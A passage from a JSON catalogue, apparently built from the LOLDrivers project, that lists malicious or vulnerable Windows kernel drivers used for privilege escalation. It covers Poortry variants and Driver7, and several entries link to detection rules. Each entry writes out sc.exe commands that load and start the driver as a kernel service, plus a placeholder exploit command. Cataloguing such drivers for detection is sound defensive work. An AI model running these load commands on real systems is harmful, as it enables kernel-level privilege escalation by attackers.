    "description": "Sophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.",
    "execution": {
      "template": "sc.exe create driver_ef9d653a.sys binPath=C:\\windows\\temp\\driver_ef9d653a.sys type=kernel && sc.exe start driver_ef9d653a.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "encryption",
      "pipes-stdin",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-driver-89036534",
    "install": [
      {
        "method": "custom",
        "description": "Load driver_89036534.sys kernel driver",
        "commands": [
          "sc.exe create driver_ef9d653a.sys binPath=C:\\windows\\temp\\driver_ef9d653a.sys type=kernel && sc.exe start driver_ef9d653a.sys"
        ]
      }
    ],
    "name": "driver_89036534.sys",
    "namespace": "windows:kernel:driver-89036534",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://news.sophos.com/en-us/2024/08/27/burnt-cigar-2/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create driver_c3d48ddd.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\driver_c3d48ddd.sys type=kernel && sc.exe start driver_c3d48ddd.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver driver_930da474.sys\"\n\n# driver_930da474.sys\n\nSophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-driver-930da474.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Sophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.",
    "execution": {
      "template": "sc.exe create driver_c3d48ddd.sys binPath=C:\\windows\\temp\\driver_c3d48ddd.sys type=kernel && sc.exe start driver_c3d48ddd.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "encryption",
      "pipes-stdin",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-driver-930da474",
    "install": [
      {
        "method": "custom",
        "description": "Load driver_930da474.sys kernel driver",
        "commands": [
          "sc.exe create driver_c3d48ddd.sys binPath=C:\\windows\\temp\\driver_c3d48ddd.sys type=kernel && sc.exe start driver_c3d48ddd.sys"
        ]
      }
    ],
    "name": "driver_930da474.sys",
    "namespace": "windows:kernel:driver-930da474",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://news.sophos.com/en-us/2024/08/27/burnt-cigar-2/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create driver_bfcbc010.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\driver_bfcbc010.sys type=kernel && sc.exe start driver_bfcbc010.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver driver_981d03e1.sys\"\n\n# driver_981d03e1.sys\n\nSophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-driver-981d03e1.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Sophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.",
    "execution": {
      "template": "sc.exe create driver_bfcbc010.sys binPath=C:\\windows\\temp\\driver_bfcbc010.sys type=kernel && sc.exe start driver_bfcbc010.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "encryption",
      "pipes-stdin",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-driver-981d03e1",
    "install": [
      {
        "method": "custom",
        "description": "Load driver_981d03e1.sys kernel driver",
        "commands": [
          "sc.exe create driver_bfcbc010.sys binPath=C:\\windows\\temp\\driver_bfcbc010.sys type=kernel && sc.exe start driver_bfcbc010.sys"
        ]
      }
    ],
    "name": "driver_981d03e1.sys",
    "namespace": "windows:kernel:driver-981d03e1",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://news.sophos.com/en-us/2024/08/27/burnt-cigar-2/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create driver_d9f15d91.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\driver_d9f15d91.sys type=kernel && sc.exe start driver_d9f15d91.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver driver_a6deeea6.sys\"\n\n# driver_a6deeea6.sys\n\nSophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-driver-a6deeea6.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Sophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.",
    "execution": {
      "template": "sc.exe create driver_d9f15d91.sys binPath=C:\\windows\\temp\\driver_d9f15d91.sys type=kernel && sc.exe start driver_d9f15d91.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "encryption",
      "pipes-stdin",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-driver-a6deeea6",
    "install": [
      {
        "method": "custom",
        "description": "Load driver_a6deeea6.sys kernel driver",
        "commands": [
          "sc.exe create driver_d9f15d91.sys binPath=C:\\windows\\temp\\driver_d9f15d91.sys type=kernel && sc.exe start driver_d9f15d91.sys"
        ]
      }
    ],
    "name": "driver_a6deeea6.sys",
    "namespace": "windows:kernel:driver-a6deeea6",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://news.sophos.com/en-us/2024/08/27/burnt-cigar-2/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create driver_bfcbc010.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\driver_bfcbc010.sys type=kernel && sc.exe start driver_bfcbc010.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver driver_ab811ca5.sys\"\n\n# driver_ab811ca5.sys\n\nSophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-driver-ab811ca5.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Sophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.",
    "execution": {
      "template": "sc.exe create driver_bfcbc010.sys binPath=C:\\windows\\temp\\driver_bfcbc010.sys type=kernel && sc.exe start driver_bfcbc010.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "encryption",
      "pipes-stdin",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-driver-ab811ca5",
    "install": [
      {
        "method": "custom",
        "description": "Load driver_ab811ca5.sys kernel driver",
        "commands": [
          "sc.exe create driver_bfcbc010.sys binPath=C:\\windows\\temp\\driver_bfcbc010.sys type=kernel && sc.exe start driver_bfcbc010.sys"
        ]
      }
    ],
    "name": "driver_ab811ca5.sys",
    "namespace": "windows:kernel:driver-ab811ca5",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://news.sophos.com/en-us/2024/08/27/burnt-cigar-2/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create driver_fdd16a94.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\driver_fdd16a94.sys type=kernel && sc.exe start driver_fdd16a94.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver driver_b4f33ffe.sys\"\n\n# driver_b4f33ffe.sys\n\nSophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-driver-b4f33ffe.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Sophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.",
    "execution": {
      "template": "sc.exe create driver_fdd16a94.sys binPath=C:\\windows\\temp\\driver_fdd16a94.sys type=kernel && sc.exe start driver_fdd16a94.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "encryption",
      "pipes-stdin",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-driver-b4f33ffe",
    "install": [
      {
        "method": "custom",
        "description": "Load driver_b4f33ffe.sys kernel driver",
        "commands": [
          "sc.exe create driver_fdd16a94.sys binPath=C:\\windows\\temp\\driver_fdd16a94.sys type=kernel && sc.exe start driver_fdd16a94.sys"
        ]
      }
    ],
    "name": "driver_b4f33ffe.sys",
    "namespace": "windows:kernel:driver-b4f33ffe",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://news.sophos.com/en-us/2024/08/27/burnt-cigar-2/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create driver_bfcbc010.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\driver_bfcbc010.sys type=kernel && sc.exe start driver_bfcbc010.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver driver_bfcbc010.sys\"\n\n# driver_bfcbc010.sys\n\nSophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-driver-bfcbc010.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Sophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.",
    "execution": {
      "template": "sc.exe create driver_bfcbc010.sys binPath=C:\\windows\\temp\\driver_bfcbc010.sys type=kernel && sc.exe start driver_bfcbc010.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "encryption",
      "pipes-stdin",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-driver-bfcbc010",
    "install": [
      {
        "method": "custom",
        "description": "Load driver_bfcbc010.sys kernel driver",
        "commands": [
          "sc.exe create driver_bfcbc010.sys binPath=C:\\windows\\temp\\driver_bfcbc010.sys type=kernel && sc.exe start driver_bfcbc010.sys"
        ]
      }
    ],
    "name": "driver_bfcbc010.sys",
    "namespace": "windows:kernel:driver-bfcbc010",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://news.sophos.com/en-us/2024/08/27/burnt-cigar-2/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create driver_c3d48ddd.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\driver_c3d48ddd.sys type=kernel && sc.exe start driver_c3d48ddd.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver driver_c3d48ddd.sys\"\n\n# driver_c3d48ddd.sys\n\nSophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-driver-c3d48ddd.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Sophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.",
    "execution": {
      "template": "sc.exe create driver_c3d48ddd.sys binPath=C:\\windows\\temp\\driver_c3d48ddd.sys type=kernel && sc.exe start driver_c3d48ddd.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "encryption",
      "pipes-stdin",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-driver-c3d48ddd",
    "install": [
      {
        "method": "custom",
        "description": "Load driver_c3d48ddd.sys kernel driver",
        "commands": [
          "sc.exe create driver_c3d48ddd.sys binPath=C:\\windows\\temp\\driver_c3d48ddd.sys type=kernel && sc.exe start driver_c3d48ddd.sys"
        ]
      }
    ],
    "name": "driver_c3d48ddd.sys",
    "namespace": "windows:kernel:driver-c3d48ddd",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://news.sophos.com/en-us/2024/08/27/burnt-cigar-2/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create driver_bfcbc010.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\driver_bfcbc010.sys type=kernel && sc.exe start driver_bfcbc010.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver driver_d1ea9e16.sys\"\n\n# driver_d1ea9e16.sys\n\nSophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-driver-d1ea9e16.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Sophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.",
    "execution": {
      "template": "sc.exe create driver_bfcbc010.sys binPath=C:\\windows\\temp\\driver_bfcbc010.sys type=kernel && sc.exe start driver_bfcbc010.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "encryption",
      "pipes-stdin",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-driver-d1ea9e16",
    "install": [
      {
        "method": "custom",
        "description": "Load driver_d1ea9e16.sys kernel driver",
        "commands": [
          "sc.exe create driver_bfcbc010.sys binPath=C:\\windows\\temp\\driver_bfcbc010.sys type=kernel && sc.exe start driver_bfcbc010.sys"
        ]
      }
    ],
    "name": "driver_d1ea9e16.sys",
    "namespace": "windows:kernel:driver-d1ea9e16",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://news.sophos.com/en-us/2024/08/27/burnt-cigar-2/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create driver_d9f15d91.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\driver_d9f15d91.sys type=kernel && sc.exe start driver_d9f15d91.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver driver_d9f15d91.sys\"\n\n# driver_d9f15d91.sys\n\nSophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-driver-d9f15d91.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Sophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.",
    "execution": {
      "template": "sc.exe create driver_d9f15d91.sys binPath=C:\\windows\\temp\\driver_d9f15d91.sys type=kernel && sc.exe start driver_d9f15d91.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "encryption",
      "pipes-stdin",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-driver-d9f15d91",
    "install": [
      {
        "method": "custom",
        "description": "Load driver_d9f15d91.sys kernel driver",
        "commands": [
          "sc.exe create driver_d9f15d91.sys binPath=C:\\windows\\temp\\driver_d9f15d91.sys type=kernel && sc.exe start driver_d9f15d91.sys"
        ]
      }
    ],
    "name": "driver_d9f15d91.sys",
    "namespace": "windows:kernel:driver-d9f15d91",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://news.sophos.com/en-us/2024/08/27/burnt-cigar-2/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create driver_d9f15d91.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\driver_d9f15d91.sys type=kernel && sc.exe start driver_d9f15d91.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver driver_e1123b59.sys\"\n\n# driver_e1123b59.sys\n\nSophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-driver-e1123b59.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Sophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.",
    "execution": {
      "template": "sc.exe create driver_d9f15d91.sys binPath=C:\\windows\\temp\\driver_d9f15d91.sys type=kernel && sc.exe start driver_d9f15d91.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "encryption",
      "pipes-stdin",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-driver-e1123b59",
    "install": [
      {
        "method": "custom",
        "description": "Load driver_e1123b59.sys kernel driver",
        "commands": [
          "sc.exe create driver_d9f15d91.sys binPath=C:\\windows\\temp\\driver_d9f15d91.sys type=kernel && sc.exe start driver_d9f15d91.sys"
        ]
      }
    ],
    "name": "driver_e1123b59.sys",
    "namespace": "windows:kernel:driver-e1123b59",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://news.sophos.com/en-us/2024/08/27/burnt-cigar-2/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create driver_ef9d653a.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\driver_ef9d653a.sys type=kernel && sc.exe start driver_ef9d653a.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver driver_ef9d653a.sys\"\n\n# driver_ef9d653a.sys\n\nSophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-driver-ef9d653a.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Sophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.",
    "execution": {
      "template": "sc.exe create driver_ef9d653a.sys binPath=C:\\windows\\temp\\driver_ef9d653a.sys type=kernel && sc.exe start driver_ef9d653a.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "encryption",
      "pipes-stdin",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-driver-ef9d653a",
    "install": [
      {
        "method": "custom",
        "description": "Load driver_ef9d653a.sys kernel driver",
        "commands": [
          "sc.exe create driver_ef9d653a.sys binPath=C:\\windows\\temp\\driver_ef9d653a.sys type=kernel && sc.exe start driver_ef9d653a.sys"
        ]
      }
    ],
    "name": "driver_ef9d653a.sys",
    "namespace": "windows:kernel:driver-ef9d653a",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://news.sophos.com/en-us/2024/08/27/burnt-cigar-2/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create driver_fdd16a94.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\driver_fdd16a94.sys type=kernel && sc.exe start driver_fdd16a94.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver driver_fdd16a94.sys\"\n\n# driver_fdd16a94.sys\n\nSophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-driver-fdd16a94.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Sophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.",
    "execution": {
      "template": "sc.exe create driver_fdd16a94.sys binPath=C:\\windows\\temp\\driver_fdd16a94.sys type=kernel && sc.exe start driver_fdd16a94.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "encryption",
      "pipes-stdin",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-driver-fdd16a94",
    "install": [
      {
        "method": "custom",
        "description": "Load driver_fdd16a94.sys kernel driver",
        "commands": [
          "sc.exe create driver_fdd16a94.sys binPath=C:\\windows\\temp\\driver_fdd16a94.sys type=kernel && sc.exe start driver_fdd16a94.sys"
        ]
      }
    ],
    "name": "driver_fdd16a94.sys",
    "namespace": "windows:kernel:driver-fdd16a94",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://news.sophos.com/en-us/2024/08/27/burnt-cigar-2/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create Driver7.sys binPath=C:\\\\windows\\\\temp\\\\Driver7.sys type=kernel && sc.exe start Driver7.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver Driver7.sys\"\n\n# Driver7.sys\n\nConfirmed vulnerable driver from Microsoft Block List\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-driver7.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Confirmed vulnerable driver from Microsoft Block List",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-driver7",
    "name": "Driver7.sys",
    "namespace": "windows:kernel:driver7",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/mgraeber-rc/1bde6a2a83237f17b463d051d32e802c"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create driver7-x64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\driver7-x64.sys     type=kernel && sc.exe start driver7-x64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver driver7-x64.sys\"\n\n# driver7-x64.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-driver7-x64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/771a8d05f1af6214e0ef0886662be500ee910ab99f0154227067fddcfe08a3dd.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create driver7-x64.sys binPath=C:\\windows\\temp\\driver7-x64.sys     type=kernel && sc.exe start driver7-x64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-driver7-x64",
    "install": [
      {
        "method": "custom",
        "description": "Load driver7-x64.sys kernel driver",
